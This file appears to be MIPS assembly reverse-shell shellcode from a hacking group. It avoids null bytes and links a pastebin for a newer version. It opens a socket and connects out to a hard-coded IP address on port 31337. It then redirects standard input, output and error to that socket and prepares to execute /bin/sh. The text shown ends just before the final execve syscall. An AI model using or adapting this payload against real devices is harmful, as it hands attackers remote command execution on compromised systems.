mips_shellcode.s

# hdarwin @ hacklab
# bad character : 00 ff
# socket connect dup dup dup execve
# new one -> http://pastebin.com/Y0q51810
global main
main:
    li $t5, 0x5252
    sub $a0, $t5, 0x5250
    sub $a1, $t5, 0x5250
    sub $a2, $t5, 0x5252
    li $v0, 4183
    syscall 0x42424

    add $a0, $v0, 0x4242
    sub $a0, $a0, 0x4242
    li $t5, 0x5252
    sub $t5, 0x5250
    sw $t5, 0x212($sp)

    #port 31337
    lui $t6, 0x7a69
    ori $t6, $t6, 0x7a69
    sw $t6, 0x216($sp)

    #ip 45.56.71.73
    lui $t5, 0x2d38
    ori $t5, $t5, 0x4749
    sw $t5, 0x218($sp)

    addi $a1, $sp, 0x214
    li $a2, 0x5250
    sub $a2, 0x5240
    li $v0, 4170
    syscall 0x42424

    li $a0, 0x5055
    sub $a0, 0x5050
    li $a1, 0x5052
    sub $a1, 0x5050
    li $v0, 4063
    syscall 0x42424
    li $a1, 0x5051
    sub $a1, 0x5050
    li $v0, 4063
    syscall 0x42424
    li $a1, 0x5050
    sub $a1, 0x5050
    li $v0, 4063
    syscall 0x42424

    lui $t7, 0x2f62
    ori $t7, $t7, 0x696e
    sw $t7, 304($sp)
    lui $t7, 0x2f73
    ori $t7, 0x6868
    sw $t7, 308($sp)
    sb $a1, 311($sp)
    add $a0, $sp, 304
    sw $a0, 404($sp)
    add $a1, $sp, 404
    li $a2, 0x5050
    sub $a2, 0x5050
    li $v0, 4011